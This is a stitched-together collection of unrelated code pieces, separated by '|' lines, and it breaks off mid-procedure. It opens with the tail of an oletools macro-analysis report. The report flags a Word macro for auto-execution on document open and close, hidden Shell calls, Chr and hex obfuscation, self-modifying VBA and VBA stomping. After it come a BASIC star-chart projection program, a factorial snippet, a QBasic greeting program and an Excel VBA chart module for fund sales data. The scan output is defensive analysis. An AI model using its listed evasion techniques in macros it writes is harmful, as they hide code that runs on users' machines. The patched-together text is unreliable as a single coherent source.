' LitVarSpecial (True)
' Ld Application
' MemSt ShowVisualBasicEditor
' Line #201:
' Line #202:
' EndSub
' Line #203:
' QuoteRem 0x0000 0x0009 "0.3313601"
+----------+--------------------+---------------------------------------------+
|Type |Keyword |Description |
+----------+--------------------+---------------------------------------------+
|AutoExec |Document_Close |Runs when the Word document is closed |
|AutoExec |Document_New |Runs when a new Word document is created |
|Suspicious|Open |May open a file |
|Suspicious|Print # |May write to a file (if combined with Open) |
|Suspicious|Shell |May run an executable file or a system |
| | |command |
|Suspicious|vbHide |May run an executable file or a system |
| | |command |
|Suspicious|Chr |May attempt to obfuscate specific strings |
| | |(use option --deobf to deobfuscate) |
|Suspicious|VBProject |May attempt to modify the VBA code (self- |
| | |modification) |
|Suspicious|VBComponents |May attempt to modify the VBA code (self- |
| | |modification) |
|Suspicious|CodeModule |May attempt to modify the VBA code (self- |
| | |modification) |
|Suspicious|Hex Strings |Hex-encoded strings were detected, may be |
| | |used to obfuscate strings (option --decode to|
| | |see all) |
|Suspicious|VBA Stomping |VBA Stomping was detected: the VBA source |
| | |code and P-code are different, this may have |
| | |been used to hide malicious code |
+----------+--------------------+---------------------------------------------+
VBA Stomping detection is experimental: please report any false positive/negative at https://github.com/decalage2/oletools/issues
|
1 REM STEREOGRAPHIC SKY PROJECTION
2 P=3.14159265: R1=P/180
3 INPUT "RADIUS ";K
4 INPUT "LAT, LONG ";B,L
5 REM W LONG NEG, E LONG POSITIVE
6 B=B*R1: L=L*R1
7 INPUT "LST (H,M,S) ";A$,A2,A3
8 GOSUB 72: T=A*15*R1-L
10 INPUT "OBJECT NAME ";B$
12 INPUT "RA (H,M,S) ";A$,A2,A3
14 GOSUB 72: R=A*15*R1
16 INPUT "DEC (D,M,S) ";A$,A2,A3
17 GOSUB 72: D=A*R1
18 PRINT: PRINT B$
19 GOSUB 32: GOSUB 100
20 PRINT: PRINT "STARS"
21 N=8: REM NUMBER OF STARS
22 FOR I=1 TO N
23 READ R,D
24 R=R*15*R1: D=D*R1
25 GOSUB 32: GOSUB 100
26 NEXT I
29 END
30 REM ALTITUDE AND AZIMUTH
32 T5=T-R+L: REM LOCAL HR ANGLE
34 S1=SIN(B)*SIN(D)
36 S1=S1+COS(B)*COS(D)*COS(T5)
38 C1=1-S1*S1
40 IF C1>0 THEN C1=SQR(C1)
42 IF C1<=0 THEN 46
44 H=ATN(S1/C1): GOTO 48
46 H=SGN(S1)*P/2
48 C2=COS(B)*SIN(D)
50 C2=C2-SIN(B)*COS(D)*COS(T5)
52 S2=-COS(D)*SIN(T5)
54 IF C2=0 THEN A=SGN(S2)*P/2
56 IF C2=0 THEN 62
58 A=ATN(S2/C2)
60 IF C2<0 THEN A=A+P
62 IF A<0 THEN A=A+2*P
70 RETURN
72 REM SEXAGESIMAL TO DECIMAL
76 S=1: A1=ABS(VAL(A$))
78 IF LEFT$(A$,1)="-" THEN S=-1
80 A=S*(A1+A2/60+A3/3600)
82 RETURN
100 REM STEREOGRAPHIC PROJECTION
105 REM H=ALTITUDE, A=AZIMUTH
110 Q=P/4-H/2
115 X=K*SIN(Q)/COS(Q)*SIN(2*P-A)
120 Y=K*SIN(Q)/COS(Q)*COS(2*P-A)
125 PRINT " X= ";INT(X*1000)/1000;
126 PRINT " Y= ";INT(Y*1000)/1000
130 RETURN
200 REM STAR DATA FOR TAURUS
205 REM RA, DEC
210 DATA 5.58, 21.0, 5.38, 28.5
215 DATA 4.55, 16.3, 4.43, 15.9
220 DATA 4.43, 19.0, 4.38, 18.0
225 DATA 4.33, 17.5, 4.29, 15.5
230 REM ************************
235 REM FROM SKY & TELESCOPE,
240 REM OCTOBER, 1987, P. 408
245 REM ************************
|
10 def fna(x)
20 if x=0 then r=1 else r=x*fna(x-1)
30 =r
40 print fna(7)
|
'message center
'their deparment is the massege they will get
CLS
PRINT " ***Message Center*** "
PRINT
PRINT " Copyright Jason Chalom"
PRINT
INPUT "Who are you "; dept$
SELECT CASE dept$
CASE "Jason"
BEEP:
CLS
PRINT "your computer is working again"
PRINT "go to dad at 9:00 am"
CASE "Lindi"
BEEP:
CLS
PRINT "Hello Lindi welcome to this program!!!!"
CASE "Susan"
BEEP
CLS
PRINT "Hello Susan meeting at 7:30 at school!!!!"
CASE ELSE
BEEP: BEEP: BEEP: BEEP: SOUND 440, 20
PRINT "Go to Jason to get assigned to this program"
PRINT "or go away if you are playing around on this computer"
PRINT "and don't do it again"
END SELECT
|
Attribute VB_Name = "CreateGraphs"
' Module with all chart-producing procedures
Option Explicit
' Colors
' Navy RGB(12, 74, 116)
' Teal RGB(146, 210, 198)
' Gray RGB(199, 199, 199)
Sub GlobalNetGrossChart()
Dim MyChart As Chart
Dim MyRange As Range
Dim startCell, ChartLoc As Range
Dim ChartHeight, ChartWidth As Long
Dim Haxis As Variant
Set MyRange = Range("A1:N5")
Set MyChart = ActiveSheet.Shapes.AddChart(xlColumnClustered).Chart
' Chart location & size params
ChartHeight = 30
ChartWidth = 12
Set startCell = Cells(1, 1).Offset(6, 0)
Set ChartLoc = Range(startCell, startCell.Offset(ChartHeight - 1, ChartWidth - 1))
With MyChart
' Prepare data & presentation
.SetSourceData Source:=MyRange
.SeriesCollection(3).ChartType = xlLine
.SeriesCollection(3).AxisGroup = xlSecondary
.SeriesCollection(4).ChartType = xlLine
.ChartGroups(1).GapWidth = 80
' Set chart location
With .Parent
.top = ChartLoc.top
.left = ChartLoc.left
.Height = ChartLoc.Height
.Width = ChartLoc.Width
End With
' Adjust axes (nb: values already in millions)
With MyChart.Axes(xlValue, xlPrimary)
.HasTitle = True
.AxisTitle.text = "€ BILLIONS"
.AxisTitle.Font.Size = 9
.AxisTitle.Font.Bold = msoFalse
.AxisTitle.Orientation = xlHorizontal
.AxisTitle.top = -5
.AxisTitle.left = 8
.AxisTitle.Font.Color = RGB(127, 127, 127)
.TickLabels.Font.Color = RGB(127, 127, 127)
.MajorGridlines.Border.Color = RGB(246, 249, 252)
.MajorTickMark = xlNone
.Format.Line.Visible = msoFalse
.DisplayUnit = xlThousands
.TickLabels.NumberFormat = "#,##0"
.HasDisplayUnitLabel = False
.TickLabels.Font.Size = 9
End With
With MyChart.Axes(xlValue, xlSecondary)
.HasTitle = True
.AxisTitle.text = "€ TRILLIONS"
.AxisTitle.Font.Size = 9
.AxisTitle.Font.Bold = msoFalse
.AxisTitle.Orientation = xlHorizontal
.AxisTitle.top = -5
.AxisTitle.left = MyChart.ChartArea.Width - 80
.AxisTitle.Font.Color = RGB(127, 127, 127)
.TickLabels.Font.Color = RGB(127, 127, 127)
.MajorTickMark = xlNone
.Format.Line.Visible = msoFalse
.DisplayUnit = xlMillions
.HasDisplayUnitLabel = False
.TickLabels.Font.Size = 9
End With
' Horizontal axes
.HasAxis(xlCategory, xlSecondary) = True
For Each Haxis In Array(.Axes(xlCategory, xlPrimary), .Axes(xlCategory, xlSecondary))
Haxis.TickLabels.Font.Size = 9
Haxis.TickLabels.Font.Color = RGB(127, 127, 127)
Haxis.Format.Line.ForeColor.RGB = RGB(217, 217, 217)
Next Haxis
' Colors
' Gross
With MyChart.SeriesCollection(1).Format
.Fill.ForeColor.RGB = RGB(12, 74, 116)
.Fill.Solid
.Shadow.Transparency = 0.6200000048
.Shadow.Blur = 3.15
.Shadow.OffsetX = 9.7971743932E-17
.Shadow.OffsetY = 1.6
End With
' Net
With MyChart.SeriesCollection(2).Format
.Fill.ForeColor.RGB = RGB(199, 199, 199)
.Fill.Solid
.Shadow.Transparency = 0.6200000048
.Shadow.Blur = 3.15
.Shadow.OffsetX = 9.7971743932E-17
.Shadow.OffsetY = 1.6
End With
' Total assets line
With MyChart.SeriesCollection(3).Format
.Line.ForeColor.RGB = RGB(147, 205, 221)
.Line.Weight = 1.25
.Shadow.Transparency = 0.6200000048
.Shadow.Blur = 3.15
.Shadow.OffsetX = 9.7971743932E-17
.Shadow.OffsetY = 1.6
End With
' Avg Gross line
With MyChart.SeriesCollection(4).Format
.Line.ForeColor.RGB = RGB(146, 210, 198)
.Line.Weight = 1.25
.Shadow.Transparency = 0.6200000048
.Shadow.Blur = 3.15
.Shadow.OffsetX = 9.7971743932E-17
.Shadow.OffsetY = 1.6
End With
' Legend
.Legend.Position = xlLegendPositionBottom
.Legend.Font.Size = 9
.Legend.Font.Color = RGB(127, 127, 127)
.Legend.top = .Legend.top - 15
.Legend.left = .PlotArea.left + 10
.Legend.Height = 30
.Legend.Width = .PlotArea.Width - 20
' Correcting for squished shape (from incl axis titles)
.PlotArea.top = 12
.PlotArea.left = 0
.PlotArea.Width = .ChartArea.Width - 10
.PlotArea.Height = .ChartArea.Height - 25
End With
ActiveSheet.Shapes(1).Line.Visible = msoFalse
Range("A1").Select
End Sub
Sub GlobalGrossCatChart()
Dim MyChart As Chart
Dim MyRange As Range
Dim startCell, ChartLoc As Range
Dim ChartHeight, ChartWidth As Long
Dim i As Integer
Dim Axis As Variant
Set MyRange = Range("A1:N5")
' Chart location & size params
ChartHeight = 30
ChartWidth = 14
Set startCell = Cells(1, 1).Offset(6, 0)
Set ChartLoc = Range(startCell, startCell.Offset(ChartHeight - 1, ChartWidth - 1))
Set MyChart = ActiveSheet.Shapes.AddChart(xlLineMarkers).Chart
With MyChart
' Prepare data & presentation
.SetSourceData Source:=MyRange
.ChartGroups(1).GapWidth = 80
' Set Location
With .Parent
.top = ChartLoc.top
.left = ChartLoc.left
.Height = ChartLoc.Height
.Width = ChartLoc.Width
End With
' Format lines
For i = 1 To 4
' Colors (Bond, Equity, Mixed, Other)
If i = 1 Then
MyChart.SeriesCollection(i).Format.Line.ForeColor.RGB = RGB(79, 129, 189)
MyChart.SeriesCollection(i).Format.Fill.ForeColor.RGB = RGB(79, 129, 189)
ElseIf i = 2 Then
MyChart.SeriesCollection(i).Format.Line.ForeColor.RGB = RGB(146, 210, 198)
MyChart.SeriesCollection(i).Format.Fill.ForeColor.RGB = RGB(146, 210, 198)
ElseIf i = 3 Then
MyChart.SeriesCollection(i).Format.Line.ForeColor.RGB = RGB(190, 115, 102)
MyChart.SeriesCollection(i).Format.Fill.ForeColor.RGB = RGB(190, 115, 102)
ElseIf i = 4 Then
MyChart.SeriesCollection(i).Format.Line.ForeColor.RGB = RGB(199, 199, 199)
MyChart.SeriesCollection(i).Format.Fill.ForeColor.RGB = RGB(199, 199, 199)
End If
With .SeriesCollection(i)
.Smooth = True
.MarkerStyle = 8
.MarkerSize = 4
With .Format
.Line.Weight = 1.5
.Shadow.Transparency = 0.6200000048
.Shadow.Blur = 3.15
.Shadow.OffsetX = 9.7971743932E-17
.Shadow.OffsetY = 1.6
End With
End With
Next i
' Axes
' Create secondary y axis
.HasAxis(xlValue, xlSecondary) = True
.SeriesCollection(1).AxisGroup = xlSecondary
For Each Axis In Array(.Axes(xlValue, xlPrimary), .Axes(xlValue, xlSecondary))
With Axis
.HasTitle = True
.AxisTitle.text = "€ BILLIONS"
.AxisTitle.Font.Size = 9
.AxisTitle.Font.Bold = msoFalse
.AxisTitle.Orientation = 90
.AxisTitle.top = 5
.AxisTitle.left = 3
.AxisTitle.Font.Color = RGB(127, 127, 127)
.TickLabels.Font.Color = RGB(127, 127, 127)
.MajorGridlines.Border.Color = RGB(199, 199, 199)
.MajorTickMark = xlNone
.Format.Line.Visible = msoFalse
.DisplayUnit = xlThousands
.TickLabels.NumberFormat = "#,##0"
.HasDisplayUnitLabel = False
.TickLabels.Font.Size = 9
.MajorGridlines.Delete
' Ensure two vertical axes min/max agree
.MinimumScale = Application.WorksheetFunction.Min( _
MyChart.Axes(xlValue, xlPrimary).MinimumScale, _
MyChart.Axes(xlValue, xlSecondary).MinimumScale)
.MaximumScale = Application.WorksheetFunction.Max( _
MyChart.Axes(xlValue, xlPrimary).MaximumScale, _
MyChart.Axes(xlValue, xlSecondary).MaximumScale)
End With
Next Axis
MyChart.Axes(xlCategory).TickLabels.Font.Size = 12
MyChart.Axes(xlCategory).TickLabels.Orientation = 15
With .Axes(xlCategory)
.MajorTickMark = xlNone
.TickLabels.Font.Size = 9
.TickLabels.Font.Color = RGB(127, 127, 127)
.Format.Line.ForeColor.RGB = RGB(217, 217, 217)
End With
' Legend
.Legend.Position = xlLegendPositionBottom
.Legend.Font.Size = 9
.Legend.Font.Color = RGB(127, 127, 127)
End With
ActiveSheet.Shapes(1).Line.Visible = msoFalse
Range("A1").Select
End Sub
Sub NetAvgPerfChart()
Dim MyChart As Chart
Dim Series1 As Range
Dim Series2 As Range
Dim i As Integer
Dim startCell, ChartLoc As Range
Dim ChartHeight, ChartWidth As Long
Set Series1 = Range("A1:N3")
Set Series2 = Range("O2:AA3")
' Chart location & size params
ChartHeight = 24
ChartWidth = 12
Set startCell = Cells(1, 1).Offset(6, 0)
Set ChartLoc = Range(startCell, startCell.Offset(ChartHeight - 1, ChartWidth - 1))
Set MyChart = ActiveSheet.Shapes.AddChart(xlColumnClustered).Chart
With MyChart
' Prepare data & presentation
.SetSourceData Source:=Series1
' Add ATR data (adding entire range not what we want)
For i = 2 To 3
With MyChart.SeriesCollection.NewSeries
.Name = "ATR " & Range("A" & i)
.Values = Range("O" & i & ":AA" & i)
.XValues = Range("A2:N1")
End With
Next i
.SeriesCollection(3).ChartType = xlLine
.SeriesCollection(3).AxisGroup = xlSecondary
.SeriesCollection(4).ChartType = xlLine
.ChartGroups(1).GapWidth = 80
.SeriesCollection(4).AxisGroup = xlSecondary
' Set Location
With .Parent
.top = ChartLoc.top
.left = ChartLoc.left
.Height = ChartLoc.Height
.Width = ChartLoc.Width
End With
' Adjust axes (nb: values already in millions)
With MyChart.Axes(xlValue, xlPrimary)
.HasTitle = True
.AxisTitle.text = "€ Billions"
.AxisTitle.Font.Size = 12
.AxisTitle.Font.Italic = msoTrue
.AxisTitle.Font.Bold = msoFalse
.AxisTitle.Orientation = xlHorizontal
.AxisTitle.top = -5
.AxisTitle.left = 8
.MajorGridlines.Delete
.DisplayUnit = xlThousands
.TickLabels.NumberFormat = "#,##0"
.HasDisplayUnitLabel = False
.TickLabels.Font.Size = 12
End With
With MyChart.Axes(xlValue, xlSecondary)
.HasTitle = True
.AxisTitle.text = "%"
.AxisTitle.Font.Size = 12
.AxisTitle.Font.Italic = msoTrue
.AxisTitle.Font.Bold = msoFalse
.AxisTitle.Orientation = xlHorizontal
.AxisTitle.top = -5
.AxisTitle.left = MyChart.ChartArea.Width - 30
.TickLabels.Font.Size = 12
.TickLabels.NumberFormat = "#,##0.0"
End With
MyChart.Axes(xlCategory).TickLabelPosition = xlNone
' Colors
' Navy
With MyChart.SeriesCollection(1).Format.Fill
.Visible = msoTrue
.ForeColor.ObjectThemeColor = msoThemeColorText2
.ForeColor.TintAndShade = 0
.ForeColor.Brightness = -0.25
.Transparency = 0
.Solid
End With
' Light Blue
With MyChart.SeriesCollection(2).Format.Fill
.Visible = msoTrue
.ForeColor.ObjectThemeColor = msoThemeColorAccent1
.ForeColor.TintAndShade = 0
.ForeColor.Brightness = 0.400000006
.Transparency = 0
.Solid
End With
.SeriesCollection(3).Format.Line.ForeColor.RGB = RGB(152, 185, 84)
.SeriesCollection(3).Format.Line.Weight = 2.25
With MyChart.SeriesCollection(4).Format.Line
.Visible = msoTrue
.Weight = 2.25
.DashStyle = msoLineSysDash
.ForeColor.ObjectThemeColor = msoThemeColorAccent4
.ForeColor.TintAndShade = 0
.ForeColor.Brightness = 0.6000000238
.Transparency = 0
End With
' Legend
.Legend.Position = xlLegendPositionBottom
.Legend.Font.Size = 12
.Legend.top = .Legend.top - 20
.Legend.left = .Legend.left - 20
.Legend.Height = 30
.Legend.Width = 400
' Correcting for squished shape (from incl axis titles)
.PlotArea.top = 12
.PlotArea.left = 0
.PlotArea.Width = 350
.PlotArea.Height = 180
' Resize PlotArea
With .PlotArea
.top = .top + 5
.Height = MyChart.ChartArea.Height - 25
.Width = MyChart.ChartArea.Width - 10
End With
End With
ActiveSheet.Shapes(1).Line.Visible = msoFalse
Range("A1").Select
End Sub
Sub RedempCalcChart()
Dim MySheet As Worksheet
Dim MyChart As Chart
Dim Series1 As Range
Dim i As Integer
Dim startCell, ChartLoc As Range
Dim ChartHeight, ChartWidth As Long
Set Series1 = Range("B12:N15")
Set MySheet = ActiveSheet
Set MyChart = MySheet.Shapes.AddChart(xlColumnClustered).Chart
' Chart location & size params
ChartHeight = 24
ChartWidth = 12
Set startCell = Series1(1, 1).Offset(6, 0)
Set ChartLoc = Range(startCell, startCell.Offset(ChartHeight - 1, ChartWidth - 1))
With MyChart
.SetSourceData Source:=Series1, PlotBy:=xlRows
' Prepare data & presentation
For i = 1 To 3
With MyChart.SeriesCollection(i)
.Name = Series1(i, 1).Offset(0, -1)
.Values = Series1.Rows(i)
.XValues = "='" & MySheet.Name & "'!B1:N1"
.ChartType = xlLineMarkers
.Smooth = True
End With
Next i
.SeriesCollection(4).Name = "Total"
' Set Location
With .Parent
.top = ChartLoc.top
.left = ChartLoc.left
.Height = ChartLoc.Height
.Width = ChartLoc.Width
End With
' Adjust axes
With .Axes(xlValue, xlPrimary)
.MajorGridlines.Delete
.HasDisplayUnitLabel = False
.TickLabels.Font.Size = 12
.TickLabels.NumberFormat = "0%"
End With
.Axes(xlCategory).TickLabels.Font.Size = 11
.Axes(xlCategory).TickLabels.Orientation = 25
' Colors
' Bond
With .SeriesCollection(1)
.MarkerStyle = 8
.MarkerSize = 4
.Format.Line.ForeColor.RGB = RGB(12, 74, 116)
.Format.Fill.ForeColor.RGB = RGB(12, 74, 116)
.Format.Fill.BackColor.RGB = RGB(12, 74, 116)
End With
' Equity
With .SeriesCollection(2)
.MarkerStyle = 8
.MarkerSize = 4
.Format.Line.ForeColor.RGB = RGB(146, 210, 198)
.Format.Fill.ForeColor.RGB = RGB(146, 210, 198)
.Format.Fill.BackColor.RGB = RGB(146, 210, 198)
End With
' Mixed
With .SeriesCollection(3)
.MarkerStyle = 8
.MarkerSize = 4
.Format.Line.ForeColor.RGB = RGB(228, 108, 10)
.Format.Fill.ForeColor.RGB = RGB(228, 108, 10)
.Format.Fill.BackColor.RGB = RGB(228, 108, 10)
.Format.Line.Transparency = 0.2
.Format.Fill.Transparency = 0.2
End With
' Total
With .SeriesCollection(4).Format.Fill
.Patterned msoPatternDarkUpwardDiagonal
.ForeColor.RGB = RGB(199, 199, 199)
End With
' Legend
.Legend.Position = xlLegendPositionTop
.Legend.left = MyChart.ChartArea.left + 20
.Legend.Font.Size = 12
.Legend.Height = 30
.Legend.Width = MyChart.ChartArea.Width - 50
End With
ActiveSheet.Shapes(1).Line.Visible = msoFalse
Range("A1").Select
End Sub
Sub MTopBottomChart()
Dim Countries() As CMetaData
Dim Area(2, 2), ChartLoc As Range
Dim MySheet As Worksheet
Dim MyChart() As Chart
Dim i, j, Count, BlockCount As Long
Dim LastRow As Long
Dim ChartWidth, ChartHeight As Long
Dim AuxTitle As Shape
Set MySheet = ActiveSheet
Set Area(2, 1) = Cells(Rows.Count, 1).End(xlUp)
Set Area(1, 1) = Cells(2, 1) ' header row; blank row before data
Set Area(1, 2) = Area(1, 1).End(xlToRight)
Set Area(2, 2) = Cells(Area(2, 1).row, Area(1, 2).Column)
' Set chart size
ChartHeight = 12 ' in rows
ChartWidth = 4 ' in cols
BlockCount = Area(2, 1).row
Count = 0
' Find first row of each data block
While BlockCount > 2
Count = Count + 1
BlockCount = Cells(BlockCount, 1).End(xlUp).End(xlUp).row
Wend
' To handle arbitrary number of countries
ReDim Countries(1 To Count)
ReDim MyChart(Count, 2) ' 2 charts per country: top (1), bottom (2)
' Define Class CMetaData for each country
BlockCount = Area(2, 1).row ' last row of last block
For i = 1 To Count
j = Count + 1 - i ' counting down since starting @ bottom
Set Countries(j) = New CMetaData
Countries(j).LastRow = BlockCount
Countries(j).LastCol = Area(1, 2).Column
' Move row counter to first row of block
BlockCount = Cells(BlockCount, 1).End(xlUp).row
Countries(j).FirstRow = BlockCount
Countries(j).FirstCol = Area(1, 1).Column
Countries(j).Name = Cells(BlockCount, 1).Value
' Move to last row of next block
BlockCount = Cells(BlockCount, 1).End(xlUp).row
Next i
For i = 1 To Count
For j = 1 To 2
Set MyChart(i, j) = MySheet.Shapes.AddChart(xlBarStacked).Chart
With MyChart(i, j)
LastRow = Countries(i).DataRange.Rows.Count
Set ChartLoc = _
Range(Countries(i).DataRange(1, 1).Offset(0, 8), _
Countries(i).DataRange(1, 1).Offset(ChartHeight, 8 + ChartWidth))
With MyChart(i, j).Parent
.Height = ChartLoc.Height
.Width = ChartLoc.Width
.top = ChartLoc.top
.left = ChartLoc.left
End With
' Source top 5
If j = 1 Then
.SetSourceData Source:=Range( _
Countries(i).DataRange(1, 2).Address & ":" & _
Countries(i).DataRange(5, 2).Address & "," & _
Countries(i).DataRange(1, 4).Address & ":" & _
Countries(i).DataRange(5, 5).Address _
)
Else
' Source bottom 5
.SetSourceData Source:=Range( _
Countries(i).DataRange(LastRow, 2).Address & ":" & _
Countries(i).DataRange(LastRow - 4, 2).Address & "," & _
Countries(i).DataRange(LastRow, 4).Address & ":" & _
Countries(i).DataRange(LastRow - 4, 5).Address _
)
MyChart(i, j).Parent.top = _
ChartLoc.Offset(ChartHeight + 1, 0).top
End If
' Rename series
.FullSeriesCollection(1).Name = Cells(Area(1, 1).row, 4).Value
.FullSeriesCollection(2).Name = Cells(Area(1, 1).row, 5).Value
' Chart formatting bits & bobs
.ChartGroups(1).GapWidth = 75
.Axes(xlValue).MajorGridlines.Delete
.Legend.Position = xlLegendPositionBottom
.HasTitle = True
.ChartTitle.text = Countries(i).Name
.Axes(xlValue).TickLabels.NumberFormat = "#,##0_);[Red](#,##0)"
If j = 1 Then
.Axes(xlCategory).TickLabelPosition = xlLow
Else
.Axes(xlCategory).TickLabelPosition = xlHigh
End If
.Axes(xlCategory).TickLabels.Font.Size = 8
' Colors
' Local = Navy
.SeriesCollection(1).Format.Fill.ForeColor.RGB = RGB(12, 74, 116)
' CB = Teal
.SeriesCollection(2).Format.Fill.ForeColor.RGB = RGB(146, 210, 198)
End With
Next j
' Group together
MySheet.Shapes.Range(Array(MyChart(i, 1).Parent.Name, _
MyChart(i, 2).Parent.Name)).Group
Next i
End Sub
Sub MktShareChart()
Dim FundTypes(1 To 2) As CMetaData
Dim Area(2, 2), ChartLoc As Range
Dim MySheet As Worksheet
Dim MyChart(2, 2) As Chart
Dim i, j, Count, BlockCount As Long
Dim tmpCol As Long
Dim ChartWidth, ChartHeight As Long
Dim FNames(1 To 2) As String
Dim ManagerLabels(1 To 2) As Range
Dim TitlePre As String
Dim tmpCell As Range
Set MySheet = ActiveSheet
Set Area(2, 1) = Cells(Rows.Count, 1).End(xlUp)
Set Area(1, 1) = Cells(1, 1) ' header row; blank row before data
Set Area(1, 2) = Area(1, 1).End(xlToRight)
Set Area(2, 2) = Cells(Area(2, 1).row, Area(1, 2).Column)
FNames(1) = "Bond"
FNames(2) = "Equity"
ChartWidth = 8
ChartHeight = 20
TitlePre = " Market Share in Europe - "
' Initialize & define FundType CMetaData classes
For i = 1 To 2
Set FundTypes(i) = New CMetaData
FundTypes(i).Name = FNames(i)
With MySheet
.Range(Area(1, 1), Area(2, 2)).AutoFilter _
Field:=Area(1, 1).Column, Criteria1:=FNames(i)
FundTypes(i).FirstRow = _
.AutoFilter.Range.Offset(1, 0).SpecialCells(xlCellTypeVisible).Rows(1).row
FundTypes(i).LastRow = _
.AutoFilter.Range.Offset(1, 0).SpecialCells(xlCellTypeVisible)(1, 1).End(xlDown).row
FundTypes(i).FirstCol = Area(1, 1).Column
FundTypes(i).LastCol = Area(1, 2).Column
Set tmpCell = Cells(FundTypes(i).FirstRow, FundTypes(i).LastCol)
Set ManagerLabels(i) = Range( _
tmpCell.End(xlToRight), tmpCell.End(xlToRight).End(xlDown))
.AutoFilterMode = False
End With
Next i
' Create charts
For i = 1 To 2
For j = 1 To 2
Set MyChart(i, j) = MySheet.Shapes.AddChart(xlPie).Chart
With MyChart(i, j)
Set ChartLoc = _
Range(FundTypes(i).DataRange(1, 1).Offset( _
0, 8 + (ChartWidth + 1) * (j - 1)), _
FundTypes(i).DataRange(1, 1).Offset( _
ChartHeight, 8 + (ChartWidth) * j))
With MyChart(i, j).Parent
.Height = ChartLoc.Height
.Width = ChartLoc.Width
.top = ChartLoc.top
.left = ChartLoc.left
End With
' Set source
If j = 1 Then
tmpCol = 3
Else
tmpCol = Area(1, 2).Column
End If
.SetSourceData Source:=Range( _
FundTypes(i).DataRange(1, tmpCol).Address & ":" & _
FundTypes(i).DataRange(6, tmpCol).Address)
' Set labels
.FullSeriesCollection(1).XValues = _
ManagerLabels(i)
' Labelling & title
.HasTitle = True
If j = 1 Then
.ChartTitle.text = FundTypes(i).Name & TitlePre & "3-Month Gross Sales"
Else
.ChartTitle.text = FundTypes(i).Name & TitlePre & "Prior Year Same 3-Month Gross Sales"
End If
.ChartTitle.Format.TextFrame2.TextRange.Font.Size = 12
If i = 1 Then
' Bond = Green
With .ChartTitle.Format.TextFrame2.TextRange.Font.Fill
.Visible = msoTrue
.ForeColor.ObjectThemeColor = msoThemeColorAccent3
.ForeColor.TintAndShade = 0
.ForeColor.Brightness = -0.25
.Transparency = 0
.Solid
End With
Else
' Equity = Navy
With .ChartTitle.Format.TextFrame2.TextRange.Font.Fill
.Visible = msoTrue
.ForeColor.ObjectThemeColor = msoThemeColorAccent1
.ForeColor.TintAndShade = 0
.ForeColor.Brightness = -0.5
.Transparency = 0
.Solid
End With
End If
With .FullSeriesCollection(1)
.ApplyDataLabels
.DataLabels.ShowPercentage = True
.DataLabels.ShowValue = False
End With
End With
Next j
Next i
Cells(1, 1).Select
End Sub
Sub BubbleChart(TitleText As String, xLabelText As String, yLabelText As String)
Dim DataArea As CMetaData
Dim Area(2, 2) As Range
Dim ChartLoc As Range
Dim MySheet As Worksheet
Dim MyChart As Chart
Dim ChartWidth, ChartHeight As Long
Dim ManagerLabels(1 To 2) As Range
Dim TextBoxText As String
Dim AxisLabels(1 To 2) As String
Dim r As Long
Dim AxisType As Variant
Dim yLabel, Key As Shape
Set MySheet = ActiveSheet
' Define contents area
Set Area(1, 1) = Cells(1, 1)
Set Area(1, 2) = Area(1, 1).End(xlToRight).Offset(0, -1) ' ignore No Nulls column
Set Area(2, 1) = Area(1, 1).End(xlDown)
Set Area(2, 2) = Cells(Area(2, 1).row, Area(1, 2).Column)
AxisLabels(1) = "1-Year Return in Euro Weighted Average" ' x-axis
AxisLabels(2) = "YTD TR in Euro Weighted Average" ' y-axis
' Instantiate & define DataArea
Set DataArea = New CMetaData
DataArea.FirstRow = Area(1, 1).Offset(1, 0).row
DataArea.LastRow = Area(2, 1).row
DataArea.FirstCol = Area(1, 1).Column
DataArea.LastCol = Area(2, 2).Column
' Set chart params
ChartWidth = 13
ChartHeight = 29
Set ChartLoc = Range(Cells(DataArea.FirstRow, DataArea.LastCol + 2), _
Cells(DataArea.FirstRow + ChartHeight, DataArea.LastCol + 2 + ChartWidth))
Set MyChart = MySheet.Shapes.AddChart(xlBubble).Chart
With MyChart
' Set chart location
With .Parent
.Height = ChartLoc.Height
.Width = ChartLoc.Width
.top = ChartLoc.top
.left = ChartLoc.left
End With
' Set style
.ClearToMatchStyle
.ChartStyle = 269
.ChartColor = 21
For r = 1 To DataArea.DataRange.Rows.Count
If r > .SeriesCollection.Count Then
.SeriesCollection.NewSeries
End If
.SeriesCollection(r).Name = DataArea.DataRange(r, 1)
.SeriesCollection(r).XValues = DataArea.DataRange(r, 4)
.SeriesCollection(r).Values = DataArea.DataRange(r, 3)
.SeriesCollection(r).BubbleSizes = DataArea.DataRange(r, 2)
' Labels
.SeriesCollection(r).Points(1).ApplyDataLabels
.SeriesCollection(r).DataLabels.ShowSeriesName = True
.SeriesCollection(r).DataLabels.ShowValue = False
.SeriesCollection(r).DataLabels.Position = xlLabelPositionCenter
Next r
' Chart formatting
For Each AxisType In Array(xlCategory, xlValue)
With MyChart.Axes(AxisType)
.MajorGridlines.Delete
.TickLabels.Font.Size = 14
If AxisType = xlCategory Then
.HasTitle = True
.TickLabels.NumberFormat = "0.0%"
.AxisTitle.Font.Size = 12
.AxisTitle.text = xLabelText
.AxisTitle.Font.Bold = False
Else
.TickLabels.NumberFormat = "0%"
End If
End With
Next AxisType
.HasLegend = False
.HasTitle = True
.ChartTitle.text = " "
' Adjust for squished plot area
Application.DisplayAlerts = False
.PlotArea.Select
With .PlotArea
.top = MyChart.ChartArea.top + 10
.left = MyChart.ChartArea.left
.Width = MyChart.ChartArea.Width
.Height = MyChart.ChartArea.Height - 40
End With
Application.DisplayAlerts = True
' Add text boxes (ie yLabel & Key)
Set yLabel = MyChart.Shapes.AddLabel(msoTextOrientationHorizontal, _
MyChart.PlotArea.left + 20, _
MyChart.PlotArea.top - 20, _
180, 19)
yLabel.TextFrame2.TextRange.Characters.text = yLabelText
yLabel.TextFrame2.TextRange.Font.Size = 12
Set Key = MyChart.Shapes.AddLabel(msoTextOrientationHorizontal, _
MyChart.PlotArea.left + MyChart.PlotArea.Width - 150, _
MyChart.PlotArea.top, 120, 20)
Key.TextFrame2.TextRange.Characters.text = "Bubble Size = Net Sales in Euro"
Key.TextFrame2.TextRange.Font.Size = 12
Key.Height = 50
End With
ChartLoc.Cells(1, 1).Offset(-1, 1).Value = TitleText
End Sub
Sub LvCBChart()
Dim DataArea As CMetaData
Dim Area(2, 2) As Range
Dim ChartLoc, StartCol As Range
Dim MySheet As Worksheet
Dim MyChart As Chart
Dim ChartWidth, ChartHeight As Long
Set MySheet = ActiveSheet
Set Area(1, 1) = Cells(1, 1)
Set Area(1, 2) = Area(1, 1).End(xlToRight)
Set Area(2, 1) = Area(1, 1).End(xlDown)
